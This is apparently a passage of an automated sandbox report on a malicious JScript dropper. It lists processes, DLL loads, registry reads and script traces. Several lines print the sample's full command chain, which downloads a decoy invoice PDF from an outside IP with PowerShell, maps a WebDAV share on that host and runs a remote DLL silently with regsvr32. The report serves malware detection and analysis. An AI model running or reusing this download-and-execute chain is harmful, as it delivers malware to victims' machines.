Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 23858205001607627322.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvxeg3hn.0nz.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1736,i,17611927009858433007,8667567242889231393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1736,i,17611927009858433007,8667567242889231393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6864.js.csv");ITextStream.WriteLine(" entry:8095 f:rdoxr");ITextStream.WriteLine(" exec:2 f:rdoxr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
